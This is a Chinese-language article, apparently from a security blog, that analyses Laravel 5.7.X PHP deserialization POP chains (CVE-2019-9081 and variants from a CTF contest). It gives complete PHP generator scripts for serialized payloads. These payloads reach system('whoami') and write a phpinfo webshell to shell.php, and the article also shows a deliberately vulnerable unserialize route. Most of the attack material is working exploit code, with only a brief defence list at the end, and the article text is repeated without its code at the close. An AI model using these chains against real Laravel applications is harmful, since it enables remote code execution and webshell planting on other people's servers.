图说 Lavavel 5.7.X RCE POP 链
字数 1394 2025-08-25 22:59:09

Laravel 5.7.X 反序列化POP链分析与利用

前言

本文详细分析Laravel 5.7.X版本中的多个反序列化POP链利用方式,这些链子展示了如何通过精心构造的序列化数据实现远程代码执行(RCE)。这些漏洞在第五空间比赛中被用作题目,引发了安全研究人员对Laravel反序列化漏洞的深入思考。

环境搭建

composer create-project laravel/laravel laravel57 "5.7.*"
php artisan serve --host 0.0.0.0

1. CVE-2019-9081 利用链

1.1 准备工作

首先需要构造一个反序列化的入口点,在routes/web.php中添加:

Route::get('/unserialize', function(){
    unserialize(urldecode($_GET['data']));
});

1.2 POP链分析

这条链子的执行流程如下:

  1. PendingCommand类的__destruct方法开始
  2. 调用mockConsoleOutput方法
  3. 绕过createABufferedOutputMock检查
  4. 进入bind方法
  5. 最终到达Container.php中的call方法

1.3 EXP代码

<?php
namespace Faker\ORM\CakePHP;
class EntityPopulator {
    public $expectedOutput;
    public $expectedQuestions;
    public function __construct() {
        $this->expectedOutput = ['Mrkaixin'];
        $this->expectedQuestions = ['Mrkaixin'];
    }
}

namespace Illuminate\Foundation;
class Application {
    public $bindings;
    public function __construct() {
        $this->bindings = [
            'Illuminate\Console\OutputStyle' => 'Mrkaixin',
            'Illuminate\Contracts\Console\Kernel' => [
                'concrete' => 'Illuminate\Foundation\Application'
            ]
        ];
    }
}

namespace Illuminate\Foundation\Testing;
use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;
class PendingCommand {
    public $parameters;
    public $test;
    public $app;
    public $command;
    public function __construct() {
        $this->command = 'system';
        $this->parameters = ['whoami'];
        $this->test = new EntityPopulator();
        $this->app = new Application();
    }
}

echo urlencode(serialize(new PendingCommand()));

2. 利用Format方法的POP链

2.1 POP链分析

这条链子利用了Generator类的__call方法,通过format方法触发:

  1. ImportConfigurator开始
  2. 调用Generator__call方法
  3. 通过formatters数组执行任意函数

2.2 EXP代码

<?php
namespace Faker;
class Generator {
    public $formatters;
    public function __construct() {
        $this->formatters = ['addCollection' => "system"];
    }
}

namespace Symfony\Component\Routing\Loader\Configurator;
use Faker\Generator;
class ImportConfigurator {
    public $route;
    public $parent;
    public function __construct() {
        $this->route = "whoami";
        $this->parent = new Generator();
    }
}

echo urlencode(serialize(new ImportConfigurator()));

3. 利用Builder类的巧妙链子

3.1 POP链分析

这条链子利用了Builder类的动态属性:

  1. PendingResourceRegistration开始
  2. 调用Builder__call方法
  3. 通过localMacros执行任意函数

3.2 EXP代码

<?php
namespace Illuminate\Database\Eloquent;
class Builder {
    public function __construct() {
        $name = "<?php phpinfo(); ?>";
        $this->localMacros = ['register' => 'Illuminate\Support\Arr::first'];
        $this->$name = "shell.php";
    }
}

namespace Illuminate\Routing;
use Illuminate\Database\Eloquent\Builder;
class PendingResourceRegistration {
    public $name;
    public function __construct() {
        $this->registrar = new Builder();
        $this->name = 'file_put_contents';
    }
}

echo urlencode(serialize(new PendingResourceRegistration()));

4. 利用call_user_func的变种链子

4.1 POP链分析

这是在第一条链子被封锁后的替代方案,利用call_user_func触发PendingCommandrun方法:

  1. ImportConfigurator开始
  2. 通过ValidGenerator设置回调
  3. 最终调用PendingCommandrun方法

4.2 EXP代码

<?php
// 省略了EntityPopulator和Application类定义,与第一条链相同

namespace Illuminate\Foundation\Testing;
use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;
class PendingCommand {
    public $parameters;
    public $test;
    public $app;
    public $command;
    public function __construct() {
        $this->command = 'system';
        $this->parameters = ['whoami'];
        $this->test = new EntityPopulator();
        $this->app = new Application();
    }
}

namespace Symfony\Component\Routing;
class RouteCollection {
    public $routes;
    public function __construct() {
        $this->routes = ['Mrkaixin is beautiful'];
        $this->resources = ['Mrkaixin is handsome'];
    }
}

namespace Faker;
use Illuminate\Foundation\Testing\PendingCommand;
use Symfony\Component\Routing\RouteCollection;
class ValidGenerator {
    public $generator;
    public function __construct() {
        $this->generator = new RouteCollection();
        $this->validator = [new PendingCommand(), 'run'];
    }
}

namespace Symfony\Component\Routing\Loader\Configurator;
use Faker\ValidGenerator;
class ImportConfigurator {
    public $parent;
    public $route;
    public function __construct() {
        $this->parent = new ValidGenerator();
        $this->route = ['Mrkaixin'];
    }
}

echo urlencode(serialize(new ImportConfigurator()));

5. 另一种call_user_func利用方式

5.1 POP链分析

这是第四条链子的变种,同样利用call_user_func触发PendingCommandrun方法:

  1. CollectionConfigurator开始
  2. 通过CookieRequiredIf设置回调
  3. 最终调用PendingCommandrun方法

5.2 EXP代码

<?php
// 省略了EntityPopulator和Application类定义,与第一条链相同

namespace Illuminate\Foundation\Testing;
use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;
class PendingCommand {
    public $parameters;
    public $test;
    public $app;
    public $command;
    public function __construct() {
        $this->command = 'system';
        $this->parameters = ['whoami'];
        $this->test = new EntityPopulator();
        $this->app = new Application();
    }
}

namespace Illuminate\Validation\Rules;
use Illuminate\Foundation\Testing\PendingCommand;
class RequiredIf {
    public function __construct() {
        $this->condition = [new PendingCommand(), 'run'];
    }
}

namespace Symfony\Component\Routing;
class RouteCollection {
    public function __construct() {
        $this->routes = [];
    }
}

namespace Symfony\Component\HttpFoundation;
use Illuminate\Validation\Rules\RequiredIf;
class Cookie {
    public function __construct() {
        $this->path = new RequiredIf();
    }
}

namespace Symfony\Component\Routing\Loader\Configurator;
use Symfony\Component\HttpFoundation\Cookie;
use Symfony\Component\Routing\RouteCollection;
class CollectionConfigurator {
    public $collection;
    public function __construct() {
        $this->collection = new RouteCollection();
        $this->route = new Cookie();
    }
}

echo urlencode(serialize(new CollectionConfigurator()));

6. 未成功的尝试链

6.1 问题分析

这条链尝试通过PendingResourceRegistration触发Logger__call方法,但未能成功:

  1. 预期是通过call_user_func触发RCE
  2. 实际触发的是某个类的register函数
  3. 原因可能是调用上下文不正确

6.2 问题EXP

<?php
namespace Illuminate\Log;
class Logger {
    public $logger;
    public $register;
    public function __construct() {
        $this->logger = $this;
        $this->register = 'call_user_func';
    }
}

namespace Illuminate\Routing;
use Illuminate\Log\Logger;
class PendingResourceRegistration {
    public $name;
    public $controller;
    public $options;
    public function __construct() {
        $this->registrar = new Logger();
        $this->name = 'file_put_contents';
        $this->controller = 'shell.php';
        $this->options = '<?php phpinfo(); ?>';
    }
}

echo urlencode(serialize(new PendingResourceRegistration()));

总结

这些POP链展示了Laravel 5.7.X中多种反序列化利用方式,关键在于:

  1. 找到合适的起点(通常是__destruct__wakeup
  2. 通过属性控制和方法调用链到达危险函数
  3. 绕过各种限制和检查
  4. 最终实现任意代码执行

防御措施包括:

  • 避免反序列化用户可控数据
  • 更新到最新版本
  • 使用白名单验证序列化数据
Laravel 5.7.X 反序列化POP链分析与利用 前言 本文详细分析Laravel 5.7.X版本中的多个反序列化POP链利用方式,这些链子展示了如何通过精心构造的序列化数据实现远程代码执行(RCE)。这些漏洞在第五空间比赛中被用作题目,引发了安全研究人员对Laravel反序列化漏洞的深入思考。 环境搭建 1. CVE-2019-9081 利用链 1.1 准备工作 首先需要构造一个反序列化的入口点,在 routes/web.php 中添加: 1.2 POP链分析 这条链子的执行流程如下: 从 PendingCommand 类的 __destruct 方法开始 调用 mockConsoleOutput 方法 绕过 createABufferedOutputMock 检查 进入 bind 方法 最终到达 Container.php 中的 call 方法 1.3 EXP代码 2. 利用Format方法的POP链 2.1 POP链分析 这条链子利用了 Generator 类的 __call 方法,通过 format 方法触发: 从 ImportConfigurator 开始 调用 Generator 的 __call 方法 通过 formatters 数组执行任意函数 2.2 EXP代码 3. 利用Builder类的巧妙链子 3.1 POP链分析 这条链子利用了 Builder 类的动态属性: 从 PendingResourceRegistration 开始 调用 Builder 的 __call 方法 通过 localMacros 执行任意函数 3.2 EXP代码 4. 利用call_ user_ func的变种链子 4.1 POP链分析 这是在第一条链子被封锁后的替代方案,利用 call_user_func 触发 PendingCommand 的 run 方法: 从 ImportConfigurator 开始 通过 ValidGenerator 设置回调 最终调用 PendingCommand 的 run 方法 4.2 EXP代码 5. 另一种call_ user_ func利用方式 5.1 POP链分析 这是第四条链子的变种,同样利用 call_user_func 触发 PendingCommand 的 run 方法: 从 CollectionConfigurator 开始 通过 Cookie 和 RequiredIf 设置回调 最终调用 PendingCommand 的 run 方法 5.2 EXP代码 6. 未成功的尝试链 6.1 问题分析 这条链尝试通过 PendingResourceRegistration 触发 Logger 的 __call 方法,但未能成功: 预期是通过 call_user_func 触发RCE 实际触发的是某个类的 register 函数 原因可能是调用上下文不正确 6.2 问题EXP 总结 这些POP链展示了Laravel 5.7.X中多种反序列化利用方式,关键在于: 找到合适的起点(通常是 __destruct 或 __wakeup ) 通过属性控制和方法调用链到达危险函数 绕过各种限制和检查 最终实现任意代码执行 防御措施包括: 避免反序列化用户可控数据 更新到最新版本 使用白名单验证序列化数据